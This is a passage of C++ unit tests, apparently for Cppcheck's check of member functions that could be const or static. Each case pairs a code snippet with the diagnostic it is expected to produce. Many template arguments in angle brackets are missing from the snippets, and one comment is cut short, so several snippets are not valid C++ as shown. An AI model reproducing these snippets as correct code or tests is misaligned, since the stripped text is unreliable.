ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int 